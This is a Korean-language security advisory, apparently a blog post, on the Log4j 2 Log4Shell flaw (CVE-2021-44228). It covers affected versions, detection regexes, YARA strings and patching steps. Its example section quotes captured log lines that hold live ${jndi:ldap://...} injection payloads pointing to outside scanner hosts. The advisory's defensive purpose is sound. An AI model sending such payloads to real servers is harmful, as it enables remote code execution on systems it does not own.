반응형

취약점 설명

- Apache Log4j 2 RCE(CVE-2021-44228)

Apache에서 로그 메시지와 파라미터 등에 사용되는 JNDI 기능으로 인하여 ​​LDAP 등 JNDI 관련 서버군에 취약점이 발생합니다.

공격자가 로그 메시지 또는 로그 메시지 파라미터를 제어할 수 있다면, 서버에 메시지 룩업 관련 기능(message lookup substitution)이 활성화된 경우에 한하여 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다.

 

# jndi
자바 네이밍 디렉터리 인터페이스의 약자로 객체를 찾고 참조(lookup)을 하기 위한 자바 API
즉, 객체를 찾고 참조하여 이용함.

 

 

영향을 받는 제품 및 해결 방안

 

1. Apache Log4j 2 (2.0-beta9 ~ 2.14.1 모든버전)
2. 대표 제품군 

Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2

 

취약점 예시

"GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 200 2681 "-" "Kryptos Logic Telltale" TLSv1.2 ECDHE-RSA-AES256-SHA

"GET /$%7Bjndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://cceac44c..probe001.log4j.leakix.net:9200/b} HTTP/1.1" 200 2681 "-" "${jndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b}"

"GET / HTTP/1.1" 200 1328 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" TLSv1.2 ECDHE-RSA-AES256-SHA

 

취약점 점검방법

서버에서 \$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+ 형태의 로그가 적재되어있는지 확인

 

취약점 대응방안

1. 서버 내부 조치
- log4j에서 JNDI를 파싱 불가 조치
- log4j2 2.15.0로 업데이트(https://logging.apache.org/log4j/2.x/download.html)
- lookup 사용하지 않게 조치

 

Log4j – Download Apache Log4j 2

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apa

logging.apache.org


2. 보안장비 snort or yara rule 적용
- yara룰
strings:
      $x1 = "${jndi:ldap:/"
      $x2 = "${jndi:rmi:/"
      $x3 = "${jndi:ldaps:/"
      $x4 = "${jndi:dns:/"

3. 보안패턴 추가(정규표현식)
\${(j|\${lower:j}|\${::-j})(n|\${lower:n}|\${::-n})(d|\${lower:d}|\${::-d})(i|\${lower:i}|\${::-i}):
//jndi문자열 차단조치

 

[추가]

1. 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용
2. 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용
 1) 2.0-beta9 ~ 2.10.0
 - JndiLookup 클래스를 경로에서 제거
   zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
 2) 2.10 ~ 2.14.1
 - log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정

 

참고

1. https://m.boannews.com/html/detail.html?tab_type=1&idx=103257
2. https://logging.apache.org/log4j/2.x/security.html
3. https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
4. https://www.blumira.com/cve-2021-44228-log4shell/

 

감사합니다.

반응형